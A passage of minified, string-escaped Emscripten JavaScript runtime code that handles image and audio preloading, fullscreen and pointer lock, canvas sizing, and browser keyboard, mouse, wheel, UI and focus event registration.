Uint8Array(byteArray)).buffer],{type:Browser.getMimetype(name)})}}catch(e){warnOnce(\"Blob constructor present but fails: \"+e+\"; falling back to blob builder\")}}if(!b){var bb=new Browser.BlobBuilder;bb.append((new Uint8Array(byteArray)).buffer);b=bb.getBlob()}var url=Browser.URLObject.createObjectURL(b);var img=new Image;img.onload=function img_onload(){assert(img.complete,\"Image \"+name+\" could not be decoded\");var canvas=document.createElement(\"canvas\");canvas.width=img.width;canvas.height=img.height;var ctx=canvas.getContext(\"2d\");ctx.drawImage(img,0,0);Module[\"preloadedImages\"][name]=canvas;Browser.URLObject.revokeObjectURL(url);if(onload)onload(byteArray)};img.onerror=function img_onerror(event){console.log(\"Image \"+url+\" could not be decoded\");if(onerror)onerror()};img.src=url};Module[\"preloadPlugins\"].push(imagePlugin);var audioPlugin={};audioPlugin[\"canHandle\"]=function audioPlugin_canHandle(name){return!Module.noAudioDecoding&&name.substr(-4)in{\".ogg\":1,\".wav\":1,\".mp3\":1}};audioPlugin[\"handle\"]=function audioPlugin_handle(byteArray,name,onload,onerror){var done=false;function finish(audio){if(done)return;done=true;Module[\"preloadedAudios\"][name]=audio;if(onload)onload(byteArray)}function fail(){if(done)return;done=true;Module[\"preloadedAudios\"][name]=new Audio;if(onerror)onerror()}if(Browser.hasBlobConstructor){try{var b=new Blob([byteArray],{type:Browser.getMimetype(name)})}catch(e){return fail()}var url=Browser.URLObject.createObjectURL(b);var audio=new Audio;audio.addEventListener(\"canplaythrough\",(function(){finish(audio)}),false);audio.onerror=function audio_onerror(event){if(done)return;console.log(\"warning: browser could not fully decode audio \"+name+\", trying slower base64 approach\");function encode64(data){var BASE=\"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";var PAD=\"=\";var ret=\"\";var leftchar=0;var leftbits=0;for(var i=0;i<data.length;i++){leftchar=leftchar<<8|data[i];leftbits+=8;while(leftbits>=6){var curr=leftchar>>leftbits-6&63;leftbits-=6;ret+=BASE[curr]}}if(leftbits==2){ret+=BASE[(leftchar&3)<<4];ret+=PAD+PAD}else if(leftbits==4){ret+=BASE[(leftchar&15)<<2];ret+=PAD}return ret}audio.src=\"data:audio/x-\"+name.substr(-3)+\";base64,\"+encode64(byteArray);finish(audio)};audio.src=url;Browser.safeSetTimeout((function(){finish(audio)}),1e4)}else{return fail()}};Module[\"preloadPlugins\"].push(audioPlugin);function pointerLockChange(){Browser.pointerLock=document[\"pointerLockElement\"]===Module[\"canvas\"]||document[\"mozPointerLockElement\"]===Module[\"canvas\"]||document[\"webkitPointerLockElement\"]===Module[\"canvas\"]||document[\"msPointerLockElement\"]===Module[\"canvas\"]}var canvas=Module[\"canvas\"];if(canvas){canvas.requestPointerLock=canvas[\"requestPointerLock\"]||canvas[\"mozRequestPointerLock\"]||canvas[\"webkitRequestPointerLock\"]||canvas[\"msRequestPointerLock\"]||(function(){});canvas.exitPointerLock=document[\"exitPointerLock\"]||document[\"mozExitPointerLock\"]||document[\"webkitExitPointerLock\"]||document[\"msExitPointerLock\"]||(function(){});canvas.exitPointerLock=canvas.exitPointerLock.bind(document);document.addEventListener(\"pointerlockchange\",pointerLockChange,false);document.addEventListener(\"mozpointerlockchange\",pointerLockChange,false);document.addEventListener(\"webkitpointerlockchange\",pointerLockChange,false);document.addEventListener(\"mspointerlockchange\",pointerLockChange,false);if(Module[\"elementPointerLock\"]){canvas.addEventListener(\"click\",(function(ev){if(!Browser.pointerLock&&Module[\"canvas\"].requestPointerLock){Module[\"canvas\"].requestPointerLock();ev.preventDefault()}}),false)}}}),createContext:(function(canvas,useWebGL,setInModule,webGLContextAttributes){if(useWebGL&&Module.ctx&&canvas==Module.canvas)return Module.ctx;var ctx;var contextHandle;if(useWebGL){var contextAttributes={antialias:false,alpha:false};if(webGLContextAttributes){for(var attribute in webGLContextAttributes){contextAttributes[attribute]=webGLContextAttributes[attribute]}}contextHandle=GL.createContext(canvas,contextAttributes);if(contextHandle){ctx=GL.getContext(contextHandle).GLctx}}else{ctx=canvas.getContext(\"2d\")}if(!ctx)return null;if(setInModule){if(!useWebGL)assert(typeof GLctx===\"undefined\",\"cannot set in module if GLctx is used, but we are a non-GL context that would replace it\");Module.ctx=ctx;if(useWebGL)GL.makeContextCurrent(contextHandle);Module.useWebGL=useWebGL;Browser.moduleContextCreatedCallbacks.forEach((function(callback){callback()}));Browser.init()}return ctx}),destroyContext:(function(canvas,useWebGL,setInModule){}),fullscreenHandlersInstalled:false,lockPointer:undefined,resizeCanvas:undefined,requestFullscreen:(function(lockPointer,resizeCanvas,vrDevice){Browser.lockPointer=lockPointer;Browser.resizeCanvas=resizeCanvas;Browser.vrDevice=vrDevice;if(typeof Browser.lockPointer===\"undefined\")Browser.lockPointer=true;if(typeof Browser.resizeCanvas===\"undefined\")Browser.resizeCanvas=false;if(typeof Browser.vrDevice===\"undefined\")Browser.vrDevice=null;var canvas=Module[\"canvas\"];function fullscreenChange(){Browser.isFullscreen=false;var canvasContainer=canvas.parentNode;if((document[\"fullscreenElement\"]||document[\"mozFullScreenElement\"]||document[\"msFullscreenElement\"]||document[\"webkitFullscreenElement\"]||document[\"webkitCurrentFullScreenElement\"])===canvasContainer){canvas.exitFullscreen=document[\"exitFullscreen\"]||document[\"cancelFullScreen\"]||document[\"mozCancelFullScreen\"]||document[\"msExitFullscreen\"]||document[\"webkitCancelFullScreen\"]||(function(){});canvas.exitFullscreen=canvas.exitFullscreen.bind(document);if(Browser.lockPointer)canvas.requestPointerLock();Browser.isFullscreen=true;if(Browser.resizeCanvas){Browser.setFullscreenCanvasSize()}else{Browser.updateCanvasDimensions(canvas)}}else{canvasContainer.parentNode.insertBefore(canvas,canvasContainer);canvasContainer.parentNode.removeChild(canvasContainer);if(Browser.resizeCanvas){Browser.setWindowedCanvasSize()}else{Browser.updateCanvasDimensions(canvas)}}if(Module[\"onFullScreen\"])Module[\"onFullScreen\"](Browser.isFullscreen);if(Module[\"onFullscreen\"])Module[\"onFullscreen\"](Browser.isFullscreen)}if(!Browser.fullscreenHandlersInstalled){Browser.fullscreenHandlersInstalled=true;document.addEventListener(\"fullscreenchange\",fullscreenChange,false);document.addEventListener(\"mozfullscreenchange\",fullscreenChange,false);document.addEventListener(\"webkitfullscreenchange\",fullscreenChange,false);document.addEventListener(\"MSFullscreenChange\",fullscreenChange,false)}var canvasContainer=document.createElement(\"div\");canvas.parentNode.insertBefore(canvasContainer,canvas);canvasContainer.appendChild(canvas);canvasContainer.requestFullscreen=canvasContainer[\"requestFullscreen\"]||canvasContainer[\"mozRequestFullScreen\"]||canvasContainer[\"msRequestFullscreen\"]||(canvasContainer[\"webkitRequestFullscreen\"]?(function(){canvasContainer[\"webkitRequestFullscreen\"](Element[\"ALLOW_KEYBOARD_INPUT\"])}):null)||(canvasContainer[\"webkitRequestFullScreen\"]?(function(){canvasContainer[\"webkitRequestFullScreen\"](Element[\"ALLOW_KEYBOARD_INPUT\"])}):null);if(vrDevice){canvasContainer.requestFullscreen({vrDisplay:vrDevice})}else{canvasContainer.requestFullscreen()}}),requestFullScreen:(function(lockPointer,resizeCanvas,vrDevice){err(\"Browser.requestFullScreen() is deprecated. Please call Browser.requestFullscreen instead.\");Browser.requestFullScreen=(function(lockPointer,resizeCanvas,vrDevice){return Browser.requestFullscreen(lockPointer,resizeCanvas,vrDevice)});return Browser.requestFullscreen(lockPointer,resizeCanvas,vrDevice)}),nextRAF:0,fakeRequestAnimationFrame:(function(func){var now=Date.now();if(Browser.nextRAF===0){Browser.nextRAF=now+1e3/60}else{while(now+2>=Browser.nextRAF){Browser.nextRAF+=1e3/60}}var delay=Math.max(Browser.nextRAF-now,0);setTimeout(func,delay)}),requestAnimationFrame:function requestAnimationFrame(func){if(typeof window===\"undefined\"){Browser.fakeRequestAnimationFrame(func)}else{if(!window.requestAnimationFrame){window.requestAnimationFrame=window[\"requestAnimationFrame\"]||window[\"mozRequestAnimationFrame\"]||window[\"webkitRequestAnimationFrame\"]||window[\"msRequestAnimationFrame\"]||window[\"oRequestAnimationFrame\"]||Browser.fakeRequestAnimationFrame}window.requestAnimationFrame(func)}},safeCallback:(function(func){return(function(){if(!ABORT)return func.apply(null,arguments)})}),allowAsyncCallbacks:true,queuedAsyncCallbacks:[],pauseAsyncCallbacks:(function(){Browser.allowAsyncCallbacks=false}),resumeAsyncCallbacks:(function(){Browser.allowAsyncCallbacks=true;if(Browser.queuedAsyncCallbacks.length>0){var callbacks=Browser.queuedAsyncCallbacks;Browser.queuedAsyncCallbacks=[];callbacks.forEach((function(func){func()}))}}),safeRequestAnimationFrame:(function(func){return Browser.requestAnimationFrame((function(){if(ABORT)return;if(Browser.allowAsyncCallbacks){func()}else{Browser.queuedAsyncCallbacks.push(func)}}))}),safeSetTimeout:(function(func,timeout){Module[\"noExitRuntime\"]=true;return setTimeout((function(){if(ABORT)return;if(Browser.allowAsyncCallbacks){func()}else{Browser.queuedAsyncCallbacks.push(func)}}),timeout)}),safeSetInterval:(function(func,timeout){Module[\"noExitRuntime\"]=true;return setInterval((function(){if(ABORT)return;if(Browser.allowAsyncCallbacks){func()}}),timeout)}),getMimetype:(function(name){return{\"jpg\":\"image/jpeg\",\"jpeg\":\"image/jpeg\",\"png\":\"image/png\",\"bmp\":\"image/bmp\",\"ogg\":\"audio/ogg\",\"wav\":\"audio/wav\",\"mp3\":\"audio/mpeg\"}[name.substr(name.lastIndexOf(\".\")+1)]}),getUserMedia:(function(func){if(!window.getUserMedia){window.getUserMedia=navigator[\"getUserMedia\"]||navigator[\"mozGetUserMedia\"]}window.getUserMedia(func)}),getMovementX:(function(event){return event[\"movementX\"]||event[\"mozMovementX\"]||event[\"webkitMovementX\"]||0}),getMovementY:(function(event){return event[\"movementY\"]||event[\"mozMovementY\"]||event[\"webkitMovementY\"]||0}),getMouseWheelDelta:(function(event){var delta=0;switch(event.type){case\"DOMMouseScroll\":delta=event.detail;break;case\"mousewheel\":delta=event.wheelDelta;break;case\"wheel\":delta=event[\"deltaY\"];break;default:throw\"unrecognized mouse wheel event: \"+event.type}return delta}),mouseX:0,mouseY:0,mouseMovementX:0,mouseMovementY:0,touches:{},lastTouches:{},calculateMouseEvent:(function(event){if(Browser.pointerLock){if(event.type!=\"mousemove\"&&\"mozMovementX\"in event){Browser.mouseMovementX=Browser.mouseMovementY=0}else{Browser.mouseMovementX=Browser.getMovementX(event);Browser.mouseMovementY=Browser.getMovementY(event)}if(typeof SDL!=\"undefined\"){Browser.mouseX=SDL.mouseX+Browser.mouseMovementX;Browser.mouseY=SDL.mouseY+Browser.mouseMovementY}else{Browser.mouseX+=Browser.mouseMovementX;Browser.mouseY+=Browser.mouseMovementY}}else{var rect=Module[\"canvas\"].getBoundingClientRect();var cw=Module[\"canvas\"].width;var ch=Module[\"canvas\"].height;var scrollX=typeof window.scrollX!==\"undefined\"?window.scrollX:window.pageXOffset;var scrollY=typeof window.scrollY!==\"undefined\"?window.scrollY:window.pageYOffset;if(event.type===\"touchstart\"||event.type===\"touchend\"||event.type===\"touchmove\"){var touch=event.touch;if(touch===undefined){return}var adjustedX=touch.pageX-(scrollX+rect.left);var adjustedY=touch.pageY-(scrollY+rect.top);adjustedX=adjustedX*(cw/rect.width);adjustedY=adjustedY*(ch/rect.height);var coords={x:adjustedX,y:adjustedY};if(event.type===\"touchstart\"){Browser.lastTouches[touch.identifier]=coords;Browser.touches[touch.identifier]=coords}else if(event.type===\"touchend\"||event.type===\"touchmove\"){var last=Browser.touches[touch.identifier];if(!last)last=coords;Browser.lastTouches[touch.identifier]=last;Browser.touches[touch.identifier]=coords}return}var x=event.pageX-(scrollX+rect.left);var y=event.pageY-(scrollY+rect.top);x=x*(cw/rect.width);y=y*(ch/rect.height);Browser.mouseMovementX=x-Browser.mouseX;Browser.mouseMovementY=y-Browser.mouseY;Browser.mouseX=x;Browser.mouseY=y}}),asyncLoad:(function(url,onload,onerror,noRunDep){var dep=!noRunDep?getUniqueRunDependency(\"al \"+url):\"\";Module[\"readAsync\"](url,(function(arrayBuffer){assert(arrayBuffer,'Loading data file \"'+url+'\" failed (no arrayBuffer).');onload(new Uint8Array(arrayBuffer));if(dep)removeRunDependency(dep)}),(function(event){if(onerror){onerror()}else{throw'Loading data file \"'+url+'\" failed.'}}));if(dep)addRunDependency(dep)}),resizeListeners:[],updateResizeListeners:(function(){var canvas=Module[\"canvas\"];Browser.resizeListeners.forEach((function(listener){listener(canvas.width,canvas.height)}))}),setCanvasSize:(function(width,height,noUpdates){var canvas=Module[\"canvas\"];Browser.updateCanvasDimensions(canvas,width,height);if(!noUpdates)Browser.updateResizeListeners()}),windowedWidth:0,windowedHeight:0,setFullscreenCanvasSize:(function(){if(typeof SDL!=\"undefined\"){var flags=HEAPU32[SDL.screen>>2];flags=flags|8388608;HEAP32[SDL.screen>>2]=flags}Browser.updateCanvasDimensions(Module[\"canvas\"]);Browser.updateResizeListeners()}),setWindowedCanvasSize:(function(){if(typeof SDL!=\"undefined\"){var flags=HEAPU32[SDL.screen>>2];flags=flags&~8388608;HEAP32[SDL.screen>>2]=flags}Browser.updateCanvasDimensions(Module[\"canvas\"]);Browser.updateResizeListeners()}),updateCanvasDimensions:(function(canvas,wNative,hNative){if(wNative&&hNative){canvas.widthNative=wNative;canvas.heightNative=hNative}else{wNative=canvas.widthNative;hNative=canvas.heightNative}var w=wNative;var h=hNative;if(Module[\"forcedAspectRatio\"]&&Module[\"forcedAspectRatio\"]>0){if(w/h<Module[\"forcedAspectRatio\"]){w=Math.round(h*Module[\"forcedAspectRatio\"])}else{h=Math.round(w/Module[\"forcedAspectRatio\"])}}if((document[\"fullscreenElement\"]||document[\"mozFullScreenElement\"]||document[\"msFullscreenElement\"]||document[\"webkitFullscreenElement\"]||document[\"webkitCurrentFullScreenElement\"])===canvas.parentNode&&typeof screen!=\"undefined\"){var factor=Math.min(screen.width/w,screen.height/h);w=Math.round(w*factor);h=Math.round(h*factor)}if(Browser.resizeCanvas){if(canvas.width!=w)canvas.width=w;if(canvas.height!=h)canvas.height=h;if(typeof canvas.style!=\"undefined\"){canvas.style.removeProperty(\"width\");canvas.style.removeProperty(\"height\")}}else{if(canvas.width!=wNative)canvas.width=wNative;if(canvas.height!=hNative)canvas.height=hNative;if(typeof canvas.style!=\"undefined\"){if(w!=wNative||h!=hNative){canvas.style.setProperty(\"width\",w+\"px\",\"important\");canvas.style.setProperty(\"height\",h+\"px\",\"important\")}else{canvas.style.removeProperty(\"width\");canvas.style.removeProperty(\"height\")}}}}),wgetRequests:{},nextWgetRequestHandle:0,getNextWgetRequestHandle:(function(){var handle=Browser.nextWgetRequestHandle;Browser.nextWgetRequestHandle++;return handle})};function _emscripten_cancel_main_loop(){Browser.mainLoop.pause();Browser.mainLoop.func=null}function _emscripten_set_canvas_element_size_calling_thread(target,width,height){var canvas=JSEvents.findCanvasEventTarget(target);if(!canvas)return-4;if(canvas.canvasSharedPtr){HEAP32[canvas.canvasSharedPtr>>2]=width;HEAP32[canvas.canvasSharedPtr+4>>2]=height}if(canvas.offscreenCanvas||!canvas.controlTransferredOffscreen){if(canvas.offscreenCanvas)canvas=canvas.offscreenCanvas;var autoResizeViewport=false;if(canvas.GLctxObject&&canvas.GLctxObject.GLctx){var prevViewport=canvas.GLctxObject.GLctx.getParameter(canvas.GLctxObject.GLctx.VIEWPORT);autoResizeViewport=prevViewport[0]===0&&prevViewport[1]===0&&prevViewport[2]===canvas.width&&prevViewport[3]===canvas.height}canvas.width=width;canvas.height=height;if(autoResizeViewport){canvas.GLctxObject.GLctx.viewport(0,0,width,height)}}else{return-4}return 0}function _emscripten_set_canvas_element_size_main_thread(target,width,height){return _emscripten_set_canvas_element_size_calling_thread(target,width,height)}function _emscripten_set_canvas_element_size(target,width,height){var canvas=JSEvents.findCanvasEventTarget(target);if(canvas)return _emscripten_set_canvas_element_size_calling_thread(target,width,height);else return _emscripten_set_canvas_element_size_main_thread(target,width,height)}function emscripten_set_canvas_element_size_js(target,width,height){if(typeof target===\"string\"){var stackTop=stackSave();var targetInt=stackAlloc(target.length+1);stringToUTF8(target,targetInt,target.length+1);var ret=_emscripten_set_canvas_element_size(targetInt,width,height);stackRestore(stackTop);return ret}else{return _emscripten_set_canvas_element_size(target,width,height)}}function _emscripten_get_canvas_element_size_calling_thread(target,width,height){var canvas=JSEvents.findCanvasEventTarget(target);if(!canvas)return-4;if(canvas.canvasSharedPtr){var w=HEAP32[canvas.canvasSharedPtr>>2];var h=HEAP32[canvas.canvasSharedPtr+4>>2];HEAP32[width>>2]=w;HEAP32[height>>2]=h}else if(canvas.offscreenCanvas){HEAP32[width>>2]=canvas.offscreenCanvas.width;HEAP32[height>>2]=canvas.offscreenCanvas.height}else if(!canvas.controlTransferredOffscreen){HEAP32[width>>2]=canvas.width;HEAP32[height>>2]=canvas.height}else{return-4}return 0}function _emscripten_get_canvas_element_size_main_thread(target,width,height){return _emscripten_get_canvas_element_size_calling_thread(target,width,height)}function _emscripten_get_canvas_element_size(target,width,height){var canvas=JSEvents.findCanvasEventTarget(target);if(canvas)return _emscripten_get_canvas_element_size_calling_thread(target,width,height);else return _emscripten_get_canvas_element_size_main_thread(target,width,height)}function emscripten_get_canvas_element_size_js(target){var stackTop=stackSave();var w=stackAlloc(8);var h=w+4;if(typeof target===\"string\"){var targetInt=stackAlloc(target.length+1);stringToUTF8(target,targetInt,target.length+1);target=targetInt}var ret=_emscripten_get_canvas_element_size(target,w,h);var size=[HEAP32[w>>2],HEAP32[h>>2]];stackRestore(stackTop);return size}var JSEvents={keyEvent:0,mouseEvent:0,wheelEvent:0,uiEvent:0,focusEvent:0,deviceOrientationEvent:0,deviceMotionEvent:0,fullscreenChangeEvent:0,pointerlockChangeEvent:0,visibilityChangeEvent:0,touchEvent:0,lastGamepadState:null,lastGamepadStateFrame:null,numGamepadsConnected:0,previousFullscreenElement:null,previousScreenX:null,previousScreenY:null,removeEventListenersRegistered:false,_onGamepadConnected:(function(){++JSEvents.numGamepadsConnected}),_onGamepadDisconnected:(function(){--JSEvents.numGamepadsConnected}),staticInit:(function(){if(typeof window!==\"undefined\"){window.addEventListener(\"gamepadconnected\",JSEvents._onGamepadConnected);window.addEventListener(\"gamepaddisconnected\",JSEvents._onGamepadDisconnected);var firstState=navigator.getGamepads?navigator.getGamepads():navigator.webkitGetGamepads?navigator.webkitGetGamepads():null;if(firstState){JSEvents.numGamepadsConnected=firstState.length}}}),removeAllEventListeners:(function(){for(var i=JSEvents.eventHandlers.length-1;i>=0;--i){JSEvents._removeHandler(i)}JSEvents.eventHandlers=[];JSEvents.deferredCalls=[];window.removeEventListener(\"gamepadconnected\",JSEvents._onGamepadConnected);window.removeEventListener(\"gamepaddisconnected\",JSEvents._onGamepadDisconnected)}),registerRemoveEventListeners:(function(){if(!JSEvents.removeEventListenersRegistered){__ATEXIT__.push(JSEvents.removeAllEventListeners);JSEvents.removeEventListenersRegistered=true}}),findEventTarget:(function(target){try{if(!target)return window;if(typeof target===\"number\")target=Pointer_stringify(target);if(target===\"#window\")return window;else if(target===\"#document\")return document;else if(target===\"#screen\")return window.screen;else if(target===\"#canvas\")return Module[\"canvas\"];return typeof target===\"string\"?document.getElementById(target):target}catch(e){return null}}),findCanvasEventTarget:(function(target){if(typeof target===\"number\")target=Pointer_stringify(target);if(!target||target===\"#canvas\"){if(typeof GL!==\"undefined\"&&GL.offscreenCanvases[\"canvas\"])return GL.offscreenCanvases[\"canvas\"];return Module[\"canvas\"]}if(typeof GL!==\"undefined\"&&GL.offscreenCanvases[target])return GL.offscreenCanvases[target];return JSEvents.findEventTarget(target)}),deferredCalls:[],deferCall:(function(targetFunction,precedence,argsList){function arraysHaveEqualContent(arrA,arrB){if(arrA.length!=arrB.length)return false;for(var i in arrA){if(arrA[i]!=arrB[i])return false}return true}for(var i in JSEvents.deferredCalls){var call=JSEvents.deferredCalls[i];if(call.targetFunction==targetFunction&&arraysHaveEqualContent(call.argsList,argsList)){return}}JSEvents.deferredCalls.push({targetFunction:targetFunction,precedence:precedence,argsList:argsList});JSEvents.deferredCalls.sort((function(x,y){return x.precedence<y.precedence}))}),removeDeferredCalls:(function(targetFunction){for(var i=0;i<JSEvents.deferredCalls.length;++i){if(JSEvents.deferredCalls[i].targetFunction==targetFunction){JSEvents.deferredCalls.splice(i,1);--i}}}),canPerformEventHandlerRequests:(function(){return JSEvents.inEventHandler&&JSEvents.currentEventHandler.allowsDeferredCalls}),runDeferredCalls:(function(){if(!JSEvents.canPerformEventHandlerRequests()){return}for(var i=0;i<JSEvents.deferredCalls.length;++i){var call=JSEvents.deferredCalls[i];JSEvents.deferredCalls.splice(i,1);--i;call.targetFunction.apply(this,call.argsList)}}),inEventHandler:0,currentEventHandler:null,eventHandlers:[],isInternetExplorer:(function(){return navigator.userAgent.indexOf(\"MSIE\")!==-1||navigator.appVersion.indexOf(\"Trident/\")>0}),removeAllHandlersOnTarget:(function(target,eventTypeString){for(var i=0;i<JSEvents.eventHandlers.length;++i){if(JSEvents.eventHandlers[i].target==target&&(!eventTypeString||eventTypeString==JSEvents.eventHandlers[i].eventTypeString)){JSEvents._removeHandler(i--)}}}),_removeHandler:(function(i){var h=JSEvents.eventHandlers[i];h.target.removeEventListener(h.eventTypeString,h.eventListenerFunc,h.useCapture);JSEvents.eventHandlers.splice(i,1)}),registerOrRemoveHandler:(function(eventHandler){var jsEventHandler=function jsEventHandler(event){++JSEvents.inEventHandler;JSEvents.currentEventHandler=eventHandler;JSEvents.runDeferredCalls();eventHandler.handlerFunc(event);JSEvents.runDeferredCalls();--JSEvents.inEventHandler};if(eventHandler.callbackfunc){eventHandler.eventListenerFunc=jsEventHandler;eventHandler.target.addEventListener(eventHandler.eventTypeString,jsEventHandler,eventHandler.useCapture);JSEvents.eventHandlers.push(eventHandler);JSEvents.registerRemoveEventListeners()}else{for(var i=0;i<JSEvents.eventHandlers.length;++i){if(JSEvents.eventHandlers[i].target==eventHandler.target&&JSEvents.eventHandlers[i].eventTypeString==eventHandler.eventTypeString){JSEvents._removeHandler(i--)}}}}),registerKeyEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.keyEvent)JSEvents.keyEvent=_malloc(164);var keyEventHandlerFunc=(function(event){var e=event||window.event;var keyEventData=JSEvents.keyEvent;stringToUTF8(e.key?e.key:\"\",keyEventData+0,32);stringToUTF8(e.code?e.code:\"\",keyEventData+32,32);HEAP32[keyEventData+64>>2]=e.location;HEAP32[keyEventData+68>>2]=e.ctrlKey;HEAP32[keyEventData+72>>2]=e.shiftKey;HEAP32[keyEventData+76>>2]=e.altKey;HEAP32[keyEventData+80>>2]=e.metaKey;HEAP32[keyEventData+84>>2]=e.repeat;stringToUTF8(e.locale?e.locale:\"\",keyEventData+88,32);stringToUTF8(e.char?e.char:\"\",keyEventData+120,32);HEAP32[keyEventData+152>>2]=e.charCode;HEAP32[keyEventData+156>>2]=e.keyCode;HEAP32[keyEventData+160>>2]=e.which;if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,keyEventData,userData))e.preventDefault()});var eventHandler={target:JSEvents.findEventTarget(target),allowsDeferredCalls:JSEvents.isInternetExplorer()?false:true,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:keyEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),getBoundingClientRectOrZeros:(function(target){return target.getBoundingClientRect?target.getBoundingClientRect():{left:0,top:0}}),fillMouseEventData:(function(eventStruct,e,target){HEAPF64[eventStruct>>3]=JSEvents.tick();HEAP32[eventStruct+8>>2]=e.screenX;HEAP32[eventStruct+12>>2]=e.screenY;HEAP32[eventStruct+16>>2]=e.clientX;HEAP32[eventStruct+20>>2]=e.clientY;HEAP32[eventStruct+24>>2]=e.ctrlKey;HEAP32[eventStruct+28>>2]=e.shiftKey;HEAP32[eventStruct+32>>2]=e.altKey;HEAP32[eventStruct+36>>2]=e.metaKey;HEAP16[eventStruct+40>>1]=e.button;HEAP16[eventStruct+42>>1]=e.buttons;HEAP32[eventStruct+44>>2]=e[\"movementX\"]||e[\"mozMovementX\"]||e[\"webkitMovementX\"]||e.screenX-JSEvents.previousScreenX;HEAP32[eventStruct+48>>2]=e[\"movementY\"]||e[\"mozMovementY\"]||e[\"webkitMovementY\"]||e.screenY-JSEvents.previousScreenY;if(Module[\"canvas\"]){var rect=Module[\"canvas\"].getBoundingClientRect();HEAP32[eventStruct+60>>2]=e.clientX-rect.left;HEAP32[eventStruct+64>>2]=e.clientY-rect.top}else{HEAP32[eventStruct+60>>2]=0;HEAP32[eventStruct+64>>2]=0}if(target){var rect=JSEvents.getBoundingClientRectOrZeros(target);HEAP32[eventStruct+52>>2]=e.clientX-rect.left;HEAP32[eventStruct+56>>2]=e.clientY-rect.top}else{HEAP32[eventStruct+52>>2]=0;HEAP32[eventStruct+56>>2]=0}if(e.type!==\"wheel\"&&e.type!==\"mousewheel\"){JSEvents.previousScreenX=e.screenX;JSEvents.previousScreenY=e.screenY}}),registerMouseEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.mouseEvent)JSEvents.mouseEvent=_malloc(72);target=JSEvents.findEventTarget(target);var mouseEventHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillMouseEventData(JSEvents.mouseEvent,e,target);if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,JSEvents.mouseEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:eventTypeString!=\"mousemove\"&&eventTypeString!=\"mouseenter\"&&eventTypeString!=\"mouseleave\",eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:mouseEventHandlerFunc,useCapture:useCapture};if(JSEvents.isInternetExplorer()&&eventTypeString==\"mousedown\")eventHandler.allowsDeferredCalls=false;JSEvents.registerOrRemoveHandler(eventHandler)}),registerWheelEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.wheelEvent)JSEvents.wheelEvent=_malloc(104);target=JSEvents.findEventTarget(target);var wheelHandlerFunc=(function(event){var e=event||window.event;var wheelEvent=JSEvents.wheelEvent;JSEvents.fillMouseEventData(wheelEvent,e,target);HEAPF64[wheelEvent+72>>3]=e[\"deltaX\"];HEAPF64[wheelEvent+80>>3]=e[\"deltaY\"];HEAPF64[wheelEvent+88>>3]=e[\"deltaZ\"];HEAP32[wheelEvent+96>>2]=e[\"deltaMode\"];if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,wheelEvent,userData))e.preventDefault()});var mouseWheelHandlerFunc=(function(event){var e=event||window.event;JSEvents.fillMouseEventData(JSEvents.wheelEvent,e,target);HEAPF64[JSEvents.wheelEvent+72>>3]=e[\"wheelDeltaX\"]||0;HEAPF64[JSEvents.wheelEvent+80>>3]=-(e[\"wheelDeltaY\"]?e[\"wheelDeltaY\"]:e[\"wheelDelta\"]);HEAPF64[JSEvents.wheelEvent+88>>3]=0;HEAP32[JSEvents.wheelEvent+96>>2]=0;var shouldCancel=Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,JSEvents.wheelEvent,userData);if(shouldCancel){e.preventDefault()}});var eventHandler={target:target,allowsDeferredCalls:true,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:eventTypeString==\"wheel\"?wheelHandlerFunc:mouseWheelHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),pageScrollPos:(function(){if(window.pageXOffset>0||window.pageYOffset>0){return[window.pageXOffset,window.pageYOffset]}if(typeof document.documentElement.scrollLeft!==\"undefined\"||typeof document.documentElement.scrollTop!==\"undefined\"){return[document.documentElement.scrollLeft,document.documentElement.scrollTop]}return[document.body.scrollLeft|0,document.body.scrollTop|0]}),registerUiEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.uiEvent)JSEvents.uiEvent=_malloc(36);if(eventTypeString==\"scroll\"&&!target){target=document}else{target=JSEvents.findEventTarget(target)}var uiEventHandlerFunc=(function(event){var e=event||window.event;if(e.target!=target){return}var scrollPos=JSEvents.pageScrollPos();var uiEvent=JSEvents.uiEvent;HEAP32[uiEvent>>2]=e.detail;HEAP32[uiEvent+4>>2]=document.body.clientWidth;HEAP32[uiEvent+8>>2]=document.body.clientHeight;HEAP32[uiEvent+12>>2]=window.innerWidth;HEAP32[uiEvent+16>>2]=window.innerHeight;HEAP32[uiEvent+20>>2]=window.outerWidth;HEAP32[uiEvent+24>>2]=window.outerHeight;HEAP32[uiEvent+28>>2]=scrollPos[0];HEAP32[uiEvent+32>>2]=scrollPos[1];if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,uiEvent,userData))e.preventDefault()});var eventHandler={target:target,allowsDeferredCalls:false,eventTypeString:eventTypeString,callbackfunc:callbackfunc,handlerFunc:uiEventHandlerFunc,useCapture:useCapture};JSEvents.registerOrRemoveHandler(eventHandler)}),getNodeNameForTarget:(function(target){if(!target)return\"\";if(target==window)return\"#window\";if(target==window.screen)return\"#screen\";return target&&target.nodeName?target.nodeName:\"\"}),registerFocusEventCallback:(function(target,userData,useCapture,callbackfunc,eventTypeId,eventTypeString,targetThread){if(!JSEvents.focusEvent)JSEvents.focusEvent=_malloc(256);var focusEventHandlerFunc=(function(event){var e=event||window.event;var nodeName=JSEvents.getNodeNameForTarget(e.target);var id=e.target.id?e.target.id:\"\";var focusEvent=JSEvents.focusEvent;stringToUTF8(nodeName,focusEvent+0,128);stringToUTF8(id,focusEvent+128,128);if(Module[\"dynCall_iiii\"](callbackfunc,eventTypeId,focusEvent,userData))e.preventDefault()});var 